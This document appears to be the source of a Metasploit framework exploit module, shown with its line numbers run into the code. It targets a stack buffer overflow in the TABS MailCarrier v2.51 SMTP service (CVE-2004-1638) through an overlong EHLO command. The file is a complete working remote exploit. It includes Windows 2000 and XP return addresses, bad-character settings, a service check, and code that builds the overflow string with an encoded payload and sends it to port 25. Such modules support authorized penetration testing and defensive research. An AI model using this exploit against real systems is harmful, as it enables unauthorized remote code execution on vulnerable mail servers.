Path: blob/master/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',15'Description' => %q{16This module exploits the MailCarrier v2.51 suite SMTP service.17The stack is overwritten when sending an overly long EHLO command.18},19'Author' => [ 'aushack' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2004-1638' ],23[ 'OSVDB', '11174' ],24[ 'BID', '11535' ],25[ 'EDB', '598' ],26],27'Platform' => ['win'],28'Arch' => [ ARCH_X86 ],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34# 'Space' => 300,35'BadChars' => "\x00\x0a\x0d:",36'StackAdjustment' => -3500,37},38'Targets' => [39# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.40[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp141[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en42],43'DisclosureDate' => '2004-10-26',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55Opt::RPORT(25),56Opt::LHOST(), # Required for stack offset57]58)59end6061def check62connect63banner = sock.get_once || ''64disconnect6566if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/67return Exploit::CheckCode::Detected68end6970return Exploit::CheckCode::Safe71end7273def exploit74connect7576sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)77sploit << [target['Ret']].pack('V') + payload.encoded7879sock.put(sploit + "\r\n")8081handler82disconnect83end84end858687